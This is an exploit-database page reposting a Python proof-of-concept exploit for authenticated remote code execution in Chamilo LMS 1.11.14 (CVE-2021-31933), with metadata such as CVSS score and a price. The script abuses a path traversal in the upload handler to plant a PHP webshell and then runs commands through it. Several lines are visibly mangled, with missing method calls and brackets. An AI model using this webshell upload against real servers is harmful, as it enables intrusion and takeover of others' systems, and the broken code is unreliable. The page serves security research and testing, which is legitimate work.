Chamilo LMS 1.11.14 Remote Code Execution

CVE Category Price Severity
CVE-2021-31933 CWE-94 $8,000 High
Author Risk Exploitation Type Date
Fatih u00c7elik High Remote 2021-05-15
CVSS:7.2/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H 0.675 0.9895

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Chamilo LMS 1.11.14 Remote Code Execution
# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage:
# Software Link:
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup:

from requests import Session
from random import choice
from string import ascii_lowercase

import requests

# This is all configuration stuff, 
url = ""  # URL to remote host web root
user_name = "admin"  # User must be an administrator
password = "admin"
command = "id;whoami"

# Where you want to upload your webshell. Must be writable by web server user.
# This spot isn't protectec by .htaccess
webshell_path = 'web/' 
webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file
content = f"<?php echo `{command}`; ?>" 

def main():
    # Run a context manager with a session object to hold login session after login
    with Session() as s:
        login_url = f"{url}index.php"
        login_data = {
            "login": user_name,
            "password": password
        r =, data=login_data) # login request

        # Check to see if login as admin user was successful.
        if "admin" not in r.url:
            print(f"[-] Login as {user_name} failed. Need to be admin")
        print(f"[+] Logged in as {user_name}")
        print(f"[+] Cookie: {s.cookies}")
        file_upload_url = f"{url}main/upload/upload.php"
        # The 'curdirpath' is not santitized, so I traverse to  the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well
        php_webshell_file = {
            "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"),
            "user_upload": (webshell_name, content)
        ## Good command if you want to see what the request looks like without sending
        # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii'))

        # Two requests required to actually upload the file
        for i in range(2):
  , files=php_webshell_file)

        exploit_request_url = f"{url}{webshell_path}{webshell_name}"
        print("[+] Upload complete!")
        print(f"[+] Webshell: {exploit_request_url}")

        # This is a GET request to the new webshell to trigger code execution
        command_output = s.get(exploit_request_url)
        print("[+] Command output:\n")

if __name__ == "__main__":

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum